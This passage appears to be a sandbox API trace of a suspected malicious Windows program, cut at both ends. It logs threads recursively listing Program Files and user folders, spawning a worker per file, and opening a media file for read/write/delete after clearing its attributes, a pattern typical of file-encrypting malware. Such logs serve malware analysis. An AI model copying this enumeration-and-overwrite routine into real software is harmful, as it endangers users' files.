dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98 [0127.008] FindNextFileW (in: hFindFile=0x19b7f0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0127.008] FindClose (in: hFindFile=0x19b7f0 | out: hFindFile=0x19b7f0) returned 1 [0127.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f650) returned 1 [0127.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 [0127.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d5c0) returned 1 Thread: id = 1377 os_tid = 0x10bc [0118.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af6a0 [0118.650] wcscpy (in: _Dest=0x202af6a0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0118.650] wcscat (in: _Dest=0x202af6a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0118.650] wcscat (in: _Dest=0x202af6a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*" [0118.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f8c0 [0118.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc10 [0118.652] wcscmp (_String1=".", _String2=".") returned 0 [0118.652] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.652] wcscmp (_String1="..", _String2=".") returned 1 [0118.652] wcscmp (_String1="..", _String2="..") returned 0 [0118.652] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0118.653] wcscmp (_String1="FeedSync.dll", _String2=".") returned 1 [0118.653] wcscmp (_String1="FeedSync.dll", _String2="..") returned 1 [0118.653] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0118.653] wcscmp (_String1="Microsoft.Synchronization.dll", _String2=".") returned 1 [0118.653] wcscmp (_String1="Microsoft.Synchronization.dll", _String2="..") returned 1 [0118.653] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0118.653] wcscmp (_String1="resources", _String2=".") returned 1 [0118.653] wcscmp (_String1="resources", _String2="..") returned 1 [0118.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adde0 [0118.653] wcscpy (in: _Dest=0x1b7adde0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0118.653] wcscat (in: _Dest=0x1b7adde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0118.653] wcscat (in: _Dest=0x1b7adde0, _Source="resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0127.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7adde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604 [0127.011] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0127.011] wcscmp (_String1="Synchronization.dll", _String2=".") returned 1 [0127.011] wcscmp (_String1="Synchronization.dll", _String2="..") returned 1 [0127.011] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 0 [0127.011] FindClose (in: hFindFile=0x1cd9cc10 | out: hFindFile=0x1cd9cc10) returned 1 [0127.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f8c0) returned 1 [0127.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af6a0) returned 1 [0127.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 Thread: id = 1378 os_tid = 0x10c0 [0118.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad7a0 [0118.658] wcscpy (in: _Dest=0x1b7ad7a0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0118.658] wcscat (in: _Dest=0x1b7ad7a0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0118.658] wcscat (in: _Dest=0x1b7ad7a0, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" [0118.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027fb30 [0118.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xed090 [0118.658] wcscmp (_String1=".", _String2=".") returned 0 [0118.658] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.658] wcscmp (_String1="..", _String2=".") returned 1 [0118.658] wcscmp (_String1="..", _String2="..") returned 0 [0118.658] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0118.658] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0118.659] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0118.659] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0118.659] wcscat (in: _Dest=0x20279970, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0118.659] wcscat (in: _Dest=0x20279970, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0127.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc [0127.015] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0127.015] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0127.015] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0127.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118d60 [0127.016] wcscpy (in: _Dest=0x118d60, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0127.016] wcscat (in: _Dest=0x118d60, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0127.016] wcscat (in: _Dest=0x118d60, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0127.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0127.017] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0127.017] FindClose (in: hFindFile=0xed090 | out: hFindFile=0xed090) returned 1 [0127.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027fb30) returned 1 [0127.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0127.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d6e0) returned 1 Thread: id = 1379 os_tid = 0x10c4 [0118.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7add40 [0118.660] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0118.660] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0118.660] wcscat (in: _Dest=0x1b7add40, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" [0118.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027fda0 [0118.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced55c0 [0118.660] wcscmp (_String1=".", _String2=".") returned 0 [0118.660] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.660] wcscmp (_String1="..", _String2=".") returned 1 [0118.660] wcscmp (_String1="..", _String2="..") returned 0 [0118.660] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0118.660] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0118.660] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202786b0 [0118.661] wcscpy (in: _Dest=0x202786b0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0118.661] wcscat (in: _Dest=0x202786b0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0118.661] wcscat (in: _Dest=0x202786b0, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0127.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202786b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0127.672] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0127.672] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0127.672] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0127.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1187b0 [0127.673] wcscpy (in: _Dest=0x1187b0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0127.673] wcscat (in: _Dest=0x1187b0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0127.673] wcscat (in: _Dest=0x1187b0, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" [0127.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1187b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc [0127.674] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0127.674] FindClose (in: hFindFile=0x1ced55c0 | out: hFindFile=0x1ced55c0) returned 1 [0127.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027fda0) returned 1 [0127.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0127.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c450) returned 1 Thread: id = 1380 os_tid = 0xfb8 [0118.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8d70 [0118.662] wcscpy (in: _Dest=0x1ced8d70, _Source="C:\\Users\\Default\\AppData\\Local\\Application Data" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data" [0118.662] wcscat (in: _Dest=0x1ced8d70, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data\\") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\" [0118.662] wcscat (in: _Dest=0x1ced8d70, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" [0118.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0118.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0118.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0118.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0118.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef70) returned 1 Thread: id = 1381 os_tid = 0xad8 [0118.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced5620 [0118.680] wcscpy (in: _Dest=0x1ced5620, _Source="C:\\Users\\Default\\AppData\\Local\\History" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History" [0118.680] wcscat (in: _Dest=0x1ced5620, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History\\") returned="C:\\Users\\Default\\AppData\\Local\\History\\" [0118.680] wcscat (in: _Dest=0x1ced5620, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History\\*") returned="C:\\Users\\Default\\AppData\\Local\\History\\*" [0118.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0118.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0118.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0118.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5620) returned 1 [0118.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9db50) returned 1 Thread: id = 1382 os_tid = 0xd90 [0118.692] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv")) returned 0x20 [0118.692] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", dwFileAttributes=0x20) returned 1 [0118.693] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17ac [0118.693] GetFileSizeEx (in: hFile=0x17ac, lpFileSize=0x2253fd00 | out: lpFileSize=0x2253fd00*=9699328) returned 1 [0118.693] SetFilePointerEx (in: 